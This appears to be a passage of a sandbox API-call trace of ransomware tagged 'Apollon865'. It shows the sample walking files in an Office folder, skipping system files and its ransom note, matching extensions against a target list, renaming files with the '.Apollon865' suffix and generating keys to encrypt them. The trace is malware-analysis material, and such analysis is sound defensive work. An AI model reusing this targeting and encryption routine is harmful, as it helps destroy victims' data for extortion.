	[0066.921] lstrlenW (lpString="odb") returned 3
	[0066.921] lstrcmpiW (lpString1="DPV", lpString2="odb") returned -1
	[0066.921] lstrlenW (lpString="odb") returned 3
	[0066.921] lstrcmpiW (lpString1="DPV", lpString2="odb") returned -1
	[0066.921] lstrlenW (lpString="oqy") returned 3
	[0066.921] lstrcmpiW (lpString1="DPV", lpString2="oqy") returned -1
	[0066.921] lstrlenW (lpString="ora") returned 3
	[0066.921] lstrcmpiW (lpString1="DPV", lpString2="ora") returned -1
	[0066.921] lstrlenW (lpString="orx") returned 3
	[0066.921] lstrcmpiW (lpString1="DPV", lpString2="orx") returned -1
	[0066.921] lstrlenW (lpString="owc") returned 3
	[0066.921] lstrcmpiW (lpString1="DPV", lpString2="owc") returned -1
	[0066.921] lstrlenW (lpString="p96") returned 3
	[0066.921] lstrcmpiW (lpString1="DPV", lpString2="p96") returned -1
	[0066.921] lstrlenW (lpString="p97") returned 3
	[0066.921] lstrcmpiW (lpString1="DPV", lpString2="p97") returned -1
	[0066.921] lstrlenW (lpString="pan") returned 3
	[0066.921] lstrcmpiW (lpString1="DPV", lpString2="pan") returned -1
	[0066.921] lstrlenW (lpString="pdb") returned 3
	[0066.921] lstrcmpiW (lpString1="DPV", lpString2="pdb") returned -1
	[0066.922] lstrlenW (lpString="pdm") returned 3
	[0066.922] lstrcmpiW (lpString1="DPV", lpString2="pdm") returned -1
	[0066.922] lstrlenW (lpString="pnz") returned 3
	[0066.922] lstrcmpiW (lpString1="DPV", lpString2="pnz") returned -1
	[0066.922] lstrlenW (lpString="qry") returned 3
	[0066.922] lstrcmpiW (lpString1="DPV", lpString2="qry") returned -1
	[0066.922] lstrlenW (lpString="qvd") returned 3
	[0066.922] lstrcmpiW (lpString1="DPV", lpString2="qvd") returned -1
	[0066.922] lstrlenW (lpString="rbf") returned 3
	[0066.922] lstrcmpiW (lpString1="DPV", lpString2="rbf") returned -1
	[0066.922] lstrlenW (lpString="rctd") returned 4
	[0066.922] lstrcmpiW (lpString1=".DPV", lpString2="rctd") returned -1
	[0066.922] lstrlenW (lpString="rod") returned 3
	[0066.922] lstrcmpiW (lpString1="DPV", lpString2="rod") returned -1
	[0066.922] lstrlenW (lpString="rodx") returned 4
	[0066.922] lstrcmpiW (lpString1=".DPV", lpString2="rodx") returned -1
	[0066.922] lstrlenW (lpString="rpd") returned 3
	[0066.922] lstrcmpiW (lpString1="DPV", lpString2="rpd") returned -1
	[0066.922] lstrlenW (lpString="rsd") returned 3
	[0066.922] lstrcmpiW (lpString1="DPV", lpString2="rsd") returned -1
	[0066.922] lstrlenW (lpString="sas7bdat") returned 8
	[0066.922] lstrcmpiW (lpString1="RBLL.DPV", lpString2="sas7bdat") returned -1
	[0066.922] lstrlenW (lpString="sbf") returned 3
	[0066.922] lstrcmpiW (lpString1="DPV", lpString2="sbf") returned -1
	[0066.922] lstrlenW (lpString="scx") returned 3
	[0066.922] lstrcmpiW (lpString1="DPV", lpString2="scx") returned -1
	[0066.922] lstrlenW (lpString="sdb") returned 3
	[0066.922] lstrcmpiW (lpString1="DPV", lpString2="sdb") returned -1
	[0066.922] lstrlenW (lpString="sdc") returned 3
	[0066.922] lstrcmpiW (lpString1="DPV", lpString2="sdc") returned -1
	[0066.922] lstrlenW (lpString="sdf") returned 3
	[0066.922] lstrcmpiW (lpString1="DPV", lpString2="sdf") returned -1
	[0066.922] lstrlenW (lpString="sis") returned 3
	[0066.922] lstrcmpiW (lpString1="DPV", lpString2="sis") returned -1
	[0066.922] lstrlenW (lpString="spq") returned 3
	[0066.922] lstrcmpiW (lpString1="DPV", lpString2="spq") returned -1
	[0066.923] lstrlenW (lpString="te") returned 2
	[0066.923] lstrcmpiW (lpString1="PV", lpString2="te") returned -1
	[0066.923] lstrlenW (lpString="teacher") returned 7
	[0066.923] lstrcmpiW (lpString1="BLL.DPV", lpString2="teacher") returned -1
	[0066.923] lstrlenW (lpString="tmd") returned 3
	[0066.923] lstrcmpiW (lpString1="DPV", lpString2="tmd") returned -1
	[0066.923] lstrlenW (lpString="tps") returned 3
	[0066.923] lstrcmpiW (lpString1="DPV", lpString2="tps") returned -1
	[0066.923] lstrlenW (lpString="trc") returned 3
	[0066.923] lstrcmpiW (lpString1="DPV", lpString2="trc") returned -1
	[0066.923] lstrlenW (lpString="trc") returned 3
	[0066.923] lstrcmpiW (lpString1="DPV", lpString2="trc") returned -1
	[0066.923] lstrlenW (lpString="trm") returned 3
	[0066.923] lstrcmpiW (lpString1="DPV", lpString2="trm") returned -1
	[0066.923] lstrlenW (lpString="udb") returned 3
	[0066.923] lstrcmpiW (lpString1="DPV", lpString2="udb") returned -1
	[0066.923] lstrlenW (lpString="udl") returned 3
	[0066.923] lstrcmpiW (lpString1="DPV", lpString2="udl") returned -1
	[0066.923] lstrlenW (lpString="usr") returned 3
	[0066.923] lstrcmpiW (lpString1="DPV", lpString2="usr") returned -1
	[0066.923] lstrlenW (lpString="v12") returned 3
	[0066.923] lstrcmpiW (lpString1="DPV", lpString2="v12") returned -1
	[0066.923] lstrlenW (lpString="vis") returned 3
	[0066.923] lstrcmpiW (lpString1="DPV", lpString2="vis") returned -1
	[0066.923] lstrlenW (lpString="vpd") returned 3
	[0066.923] lstrcmpiW (lpString1="DPV", lpString2="vpd") returned -1
	[0066.923] lstrlenW (lpString="vvv") returned 3
	[0066.923] lstrcmpiW (lpString1="DPV", lpString2="vvv") returned -1
	[0066.923] lstrlenW (lpString="wdb") returned 3
	[0066.923] lstrcmpiW (lpString1="DPV", lpString2="wdb") returned -1
	[0066.923] lstrlenW (lpString="wmdb") returned 4
	[0066.923] lstrcmpiW (lpString1=".DPV", lpString2="wmdb") returned -1
	[0066.923] lstrlenW (lpString="wrk") returned 3
	[0066.923] lstrcmpiW (lpString1="DPV", lpString2="wrk") returned -1
	[0066.923] lstrlenW (lpString="xdb") returned 3
	[0066.923] lstrcmpiW (lpString1="DPV", lpString2="xdb") returned -1
	[0066.923] lstrlenW (lpString="xld") returned 3
	[0066.923] lstrcmpiW (lpString1="DPV", lpString2="xld") returned -1
	[0066.924] lstrlenW (lpString="xmlff") returned 5
	[0066.924] lstrcmpiW (lpString1="L.DPV", lpString2="xmlff") returned -1
	[0066.924] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0ded00, ftCreationTime.dwHighDateTime=0x1c98d98, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa0ded00, ftLastWriteTime.dwHighDateTime=0x1c98d98, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DGBARBLL.XML", cAlternateFileName="")) returned 1
	[0066.924] lstrcmpiW (lpString1="DGBARBLL.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.924] lstrcmpiW (lpString1="DGBARBLL.XML", lpString2="Apollon865.txt.exe") returned 1
	[0066.924] lstrcmpiW (lpString1="DGBARBLL.XML", lpString2=".") returned 1
	[0066.924] lstrcmpiW (lpString1="DGBARBLL.XML", lpString2="..") returned 1
	[0066.924] lstrcmpiW (lpString1="DGBARBLL.XML", lpString2="windows") returned -1
	[0066.924] lstrcmpiW (lpString1="DGBARBLL.XML", lpString2="bootmgr") returned 1
	[0066.924] lstrcmpiW (lpString1="DGBARBLL.XML", lpString2="temp") returned -1
	[0066.924] lstrcmpiW (lpString1="DGBARBLL.XML", lpString2="pagefile.sys") returned -1
	[0066.924] lstrcmpiW (lpString1="DGBARBLL.XML", lpString2="boot") returned 1
	[0066.924] lstrcmpiW (lpString1="DGBARBLL.XML", lpString2="ids.txt") returned -1
	[0066.924] lstrcmpiW (lpString1="DGBARBLL.XML", lpString2="ntuser.dat") returned -1
	[0066.924] lstrcmpiW (lpString1="DGBARBLL.XML", lpString2="perflogs") returned -1
	[0066.924] lstrcmpiW (lpString1="DGBARBLL.XML", lpString2="MSBuild") returned -1
	[0066.924] lstrlenW (lpString="DGBARBLL.XML") returned 12
	[0066.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBARBLL.DPV") returned 62
	[0066.924] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGBARBLL.XML" | out: lpString1="DGBARBLL.XML") returned="DGBARBLL.XML"
	[0066.924] lstrlenW (lpString="DGBARBLL.XML") returned 12
	[0066.924] lstrlenW (lpString="Apollon865") returned 10
	[0066.924] lstrcmpiW (lpString1="BARBLL.XML", lpString2="Apollon865") returned 1
	[0066.924] lstrlenW (lpString=".dll") returned 4
	[0066.924] lstrcmpiW (lpString1="DGBARBLL.XML", lpString2=".dll") returned 1
	[0066.924] lstrlenW (lpString=".lnk") returned 4
	[0066.924] lstrcmpiW (lpString1="DGBARBLL.XML", lpString2=".lnk") returned 1
	[0066.924] lstrlenW (lpString=".ini") returned 4
	[0066.924] lstrcmpiW (lpString1="DGBARBLL.XML", lpString2=".ini") returned 1
	[0066.924] lstrlenW (lpString=".sys") returned 4
	[0066.924] lstrcmpiW (lpString1="DGBARBLL.XML", lpString2=".sys") returned 1
	[0066.924] lstrlenW (lpString="DGBARBLL.XML") returned 12
	[0066.924] lstrlenW (lpString="bak") returned 3
	[0066.924] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0066.924] lstrlenW (lpString="ba_") returned 3
	[0066.924] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0066.924] lstrlenW (lpString="dbb") returned 3
	[0066.925] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0066.925] lstrlenW (lpString="vmdk") returned 4
	[0066.925] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0066.925] lstrlenW (lpString="rar") returned 3
	[0066.925] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0066.925] lstrlenW (lpString="zip") returned 3
	[0066.925] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0066.925] lstrlenW (lpString="tgz") returned 3
	[0066.925] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0066.925] lstrlenW (lpString="vbox") returned 4
	[0066.925] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0066.925] lstrlenW (lpString="vdi") returned 3
	[0066.925] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0066.925] lstrlenW (lpString="vhd") returned 3
	[0066.925] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0066.925] lstrlenW (lpString="vhdx") returned 4
	[0066.925] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0066.925] lstrlenW (lpString="avhd") returned 4
	[0066.925] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0066.925] lstrlenW (lpString="db") returned 2
	[0066.925] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0066.925] lstrlenW (lpString="db2") returned 3
	[0066.925] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0066.925] lstrlenW (lpString="db3") returned 3
	[0066.925] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0066.925] lstrlenW (lpString="dbf") returned 3
	[0066.925] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0066.925] lstrlenW (lpString="mdf") returned 3
	[0066.925] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0066.925] lstrlenW (lpString="mdb") returned 3
	[0066.925] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0066.925] lstrlenW (lpString="sql") returned 3
	[0066.926] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0066.926] lstrlenW (lpString="sqlite") returned 6
	[0066.926] lstrcmpiW (lpString1="LL.XML", lpString2="sqlite") returned -1
	[0066.926] lstrlenW (lpString="sqlite3") returned 7
	[0066.926] lstrcmpiW (lpString1="BLL.XML", lpString2="sqlite3") returned -1
	[0066.926] lstrlenW (lpString="sqlitedb") returned 8
	[0066.926] lstrcmpiW (lpString1="RBLL.XML", lpString2="sqlitedb") returned -1
	[0066.926] lstrlenW (lpString="xml") returned 3
	[0066.926] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0066.926] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBARBLL.XML.Apollon865") returned 73
	[0066.926] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBARBLL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgbarbll.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBARBLL.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgbarbll.xml.apollon865"), dwFlags=0x1) returned 1
	[0066.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBARBLL.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgbarbll.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0066.929] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1110) returned 1
	[0066.929] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x34f0020
	[0066.929] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0066.929] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0066.929] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0066.930] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0066.930] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0066.930] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x760, lpName=0x0) returned 0x100
	[0066.932] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x760) returned 0x100000
	[0066.934] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0066.934] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0066.934] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0066.934] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0066.934] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0066.934] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0066.934] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0066.935] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0066.935] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0066.935] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0066.935] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0066.935] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0066.935] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0066.935] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0066.935] CloseHandle (hObject=0x100) returned 1
	[0066.935] CloseHandle (hObject=0x15c) returned 1
	[0066.935] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0066.935] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0066.935] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x34f0020 | out: hHeap=0x580000) returned 1
	[0066.935] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98487b00, ftCreationTime.dwHighDateTime=0x1c5d95d, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98487b00, ftLastWriteTime.dwHighDateTime=0x1c5d95d, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DGBORDER.DPV", cAlternateFileName="")) returned 1
	[0066.935] lstrcmpiW (lpString1="DGBORDER.DPV", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.935] lstrcmpiW (lpString1="DGBORDER.DPV", lpString2="Apollon865.txt.exe") returned 1
	[0066.936] lstrcmpiW (lpString1="DGBORDER.DPV", lpString2=".") returned 1
	[0066.936] lstrcmpiW (lpString1="DGBORDER.DPV", lpString2="..") returned 1
	[0066.936] lstrcmpiW (lpString1="DGBORDER.DPV", lpString2="windows") returned -1
	[0066.936] lstrcmpiW (lpString1="DGBORDER.DPV", lpString2="bootmgr") returned 1
	[0066.936] lstrcmpiW (lpString1="DGBORDER.DPV", lpString2="temp") returned -1
	[0066.936] lstrcmpiW (lpString1="DGBORDER.DPV", lpString2="pagefile.sys") returned -1
	[0066.936] lstrcmpiW (lpString1="DGBORDER.DPV", lpString2="boot") returned 1
	[0066.936] lstrcmpiW (lpString1="DGBORDER.DPV", lpString2="ids.txt") returned -1
	[0066.936] lstrcmpiW (lpString1="DGBORDER.DPV", lpString2="ntuser.dat") returned -1
	[0066.936] lstrcmpiW (lpString1="DGBORDER.DPV", lpString2="perflogs") returned -1
	[0066.936] lstrcmpiW (lpString1="DGBORDER.DPV", lpString2="MSBuild") returned -1
	[0066.936] lstrlenW (lpString="DGBORDER.DPV") returned 12
	[0066.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBARBLL.XML") returned 62
	[0066.936] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGBORDER.DPV" | out: lpString1="DGBORDER.DPV") returned="DGBORDER.DPV"
	[0066.936] lstrlenW (lpString="DGBORDER.DPV") returned 12
	[0066.936] lstrlenW (lpString="Apollon865") returned 10
	[0066.936] lstrcmpiW (lpString1="BORDER.DPV", lpString2="Apollon865") returned 1
	[0066.936] lstrlenW (lpString=".dll") returned 4
	[0066.936] lstrcmpiW (lpString1="DGBORDER.DPV", lpString2=".dll") returned 1
	[0066.936] lstrlenW (lpString=".lnk") returned 4
	[0066.936] lstrcmpiW (lpString1="DGBORDER.DPV", lpString2=".lnk") returned 1
	[0066.936] lstrlenW (lpString=".ini") returned 4
	[0066.936] lstrcmpiW (lpString1="DGBORDER.DPV", lpString2=".ini") returned 1
	[0066.936] lstrlenW (lpString=".sys") returned 4
	[0066.936] lstrcmpiW (lpString1="DGBORDER.DPV", lpString2=".sys") returned 1
	[0066.936] lstrlenW (lpString="DGBORDER.DPV") returned 12
	[0066.936] lstrlenW (lpString="bak") returned 3
	[0066.936] lstrcmpiW (lpString1="DPV", lpString2="bak") returned 1
	[0066.936] lstrlenW (lpString="ba_") returned 3
	[0066.936] lstrcmpiW (lpString1="DPV", lpString2="ba_") returned 1
	[0066.936] lstrlenW (lpString="dbb") returned 3
	[0066.936] lstrcmpiW (lpString1="DPV", lpString2="dbb") returned 1
	[0066.936] lstrlenW (lpString="vmdk") returned 4
	[0066.936] lstrcmpiW (lpString1=".DPV", lpString2="vmdk") returned -1
	[0066.936] lstrlenW (lpString="rar") returned 3
	[0066.936] lstrcmpiW (lpString1="DPV", lpString2="rar") returned -1
	[0066.936] lstrlenW (lpString="zip") returned 3
	[0066.937] lstrcmpiW (lpString1="DPV", lpString2="zip") returned -1
	[0066.937] lstrlenW (lpString="tgz") returned 3
	[0066.937] lstrcmpiW (lpString1="DPV", lpString2="tgz") returned -1
	[0066.937] lstrlenW (lpString="vbox") returned 4
	[0066.937] lstrcmpiW (lpString1=".DPV", lpString2="vbox") returned -1
	[0066.937] lstrlenW (lpString="vdi") returned 3
	[0066.937] lstrcmpiW (lpString1="DPV", lpString2="vdi") returned -1
	[0066.937] lstrlenW (lpString="vhd") returned 3
	[0066.937] lstrcmpiW (lpString1="DPV", lpString2="vhd") returned -1
	[0066.937] lstrlenW (lpString="vhdx") returned 4
	[0066.937] lstrcmpiW (lpString1=".DPV", lpString2="vhdx") returned -1
	[0066.937] lstrlenW (lpString="avhd") returned 4
	[0066.937] lstrcmpiW (lpString1=".DPV", lpString2="avhd") returned -1
	[0066.937] lstrlenW (lpString="db") returned 2
	[0066.937] lstrcmpiW (lpString1="PV", lpString2="db") returned 1
	[0066.937] lstrlenW (lpString="db2") returned 3
	[0066.937] lstrcmpiW (lpString1="DPV", lpString2="db2") returned 1
	[0066.937] lstrlenW (lpString="db3") returned 3
	[0066.937] lstrcmpiW (lpString1="DPV", lpString2="db3") returned 1
	[0066.937] lstrlenW (lpString="dbf") returned 3
	[0066.937] lstrcmpiW (lpString1="DPV", lpString2="dbf") returned 1
	[0066.937] lstrlenW (lpString="mdf") returned 3
	[0066.937] lstrcmpiW (lpString1="DPV", lpString2="mdf") returned -1
	[0066.937] lstrlenW (lpString="mdb") returned 3
	[0066.937] lstrcmpiW (lpString1="DPV", lpString2="mdb") returned -1
	[0066.937] lstrlenW (lpString="sql") returned 3
	[0066.937] lstrcmpiW (lpString1="DPV", lpString2="sql") returned -1
	[0066.937] lstrlenW (lpString="sqlite") returned 6
	[0066.937] lstrcmpiW (lpString1="ER.DPV", lpString2="sqlite") returned -1
	[0066.937] lstrlenW (lpString="sqlite3") returned 7
	[0066.937] lstrcmpiW (lpString1="DER.DPV", lpString2="sqlite3") returned -1
	[0066.937] lstrlenW (lpString="sqlitedb") returned 8
	[0066.937] lstrcmpiW (lpString1="RDER.DPV", lpString2="sqlitedb") returned -1
	[0066.937] lstrlenW (lpString="xml") returned 3
	[0066.937] lstrcmpiW (lpString1="DPV", lpString2="xml") returned -1
	[0066.938] lstrlenW (lpString="$er") returned 3
	[0066.938] lstrcmpiW (lpString1="DPV", lpString2="$er") returned 1
	[0066.938] lstrlenW (lpString="4dd") returned 3
	[0066.938] lstrcmpiW (lpString1="DPV", lpString2="4dd") returned 1
	[0066.938] lstrlenW (lpString="4dl") returned 3
	[0066.938] lstrcmpiW (lpString1="DPV", lpString2="4dl") returned 1
	[0066.938] lstrlenW (lpString="^^^") returned 3
	[0066.938] lstrcmpiW (lpString1="DPV", lpString2="^^^") returned 1
	[0066.938] lstrlenW (lpString="abs") returned 3
	[0066.938] lstrcmpiW (lpString1="DPV", lpString2="abs") returned 1
	[0066.938] lstrlenW (lpString="abx") returned 3
	[0066.938] lstrcmpiW (lpString1="DPV", lpString2="abx") returned 1
	[0066.938] lstrlenW (lpString="accdb") returned 5
	[0066.938] lstrcmpiW (lpString1="R.DPV", lpString2="accdb") returned 1
	[0066.938] lstrlenW (lpString="accdc") returned 5
	[0066.938] lstrcmpiW (lpString1="R.DPV", lpString2="accdc") returned 1
	[0066.938] lstrlenW (lpString="accde") returned 5
	[0066.938] lstrcmpiW (lpString1="R.DPV", lpString2="accde") returned 1
	[0066.938] lstrlenW (lpString="accdr") returned 5
	[0066.938] lstrcmpiW (lpString1="R.DPV", lpString2="accdr") returned 1
	[0066.938] lstrlenW (lpString="accdt") returned 5
	[0066.938] lstrcmpiW (lpString1="R.DPV", lpString2="accdt") returned 1
	[0066.938] lstrlenW (lpString="accdw") returned 5
	[0066.938] lstrcmpiW (lpString1="R.DPV", lpString2="accdw") returned 1
	[0066.938] lstrlenW (lpString="accft") returned 5
	[0066.938] lstrcmpiW (lpString1="R.DPV", lpString2="accft") returned 1
	[0066.938] lstrlenW (lpString="adb") returned 3
	[0066.938] lstrcmpiW (lpString1="DPV", lpString2="adb") returned 1
	[0066.938] lstrlenW (lpString="adb") returned 3
	[0066.938] lstrcmpiW (lpString1="DPV", lpString2="adb") returned 1
	[0066.938] lstrlenW (lpString="ade") returned 3
	[0066.938] lstrcmpiW (lpString1="DPV", lpString2="ade") returned 1
	[0066.938] lstrlenW (lpString="adf") returned 3
	[0066.938] lstrcmpiW (lpString1="DPV", lpString2="adf") returned 1
	[0066.939] lstrcmpiW (lpString1="DPV", lpString2="adn") returned 1
	[0066.939] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGBORDER.XML" | out: lpString1="DGBORDER.XML") returned="DGBORDER.XML"
	[0066.939] lstrlenW (lpString="DGBORDER.XML") returned 12
	[0066.939] lstrlenW (lpString="Apollon865") returned 10
	[0066.939] lstrcmpiW (lpString1="BORDER.XML", lpString2="Apollon865") returned 1
	[0066.939] lstrlenW (lpString=".dll") returned 4
	[0066.939] lstrcmpiW (lpString1="DGBORDER.XML", lpString2=".dll") returned 1
	[0066.939] lstrlenW (lpString=".lnk") returned 4
	[0066.939] lstrcmpiW (lpString1="DGBORDER.XML", lpString2=".lnk") returned 1
	[0066.939] lstrlenW (lpString=".ini") returned 4
	[0066.939] lstrcmpiW (lpString1="DGBORDER.XML", lpString2=".ini") returned 1
	[0066.939] lstrlenW (lpString=".sys") returned 4
	[0066.939] lstrcmpiW (lpString1="DGBORDER.XML", lpString2=".sys") returned 1
	[0066.939] lstrlenW (lpString="DGBORDER.XML") returned 12
	[0066.939] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBORDER.XML.Apollon865") returned 73
	[0066.939] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBORDER.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgborder.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBORDER.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgborder.xml.apollon865"), dwFlags=0x1) returned 1
	[0066.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBORDER.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgborder.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0066.941] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2468) returned 1
	[0066.941] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x34f0020
	[0066.942] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0066.942] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0066.942] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0066.942] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0066.942] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0066.943] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcb0, lpName=0x0) returned 0x100
	[0066.944] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcb0) returned 0x100000
	[0066.945] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0066.946] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0066.946] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0066.946] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0066.946] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0066.946] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0066.946] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
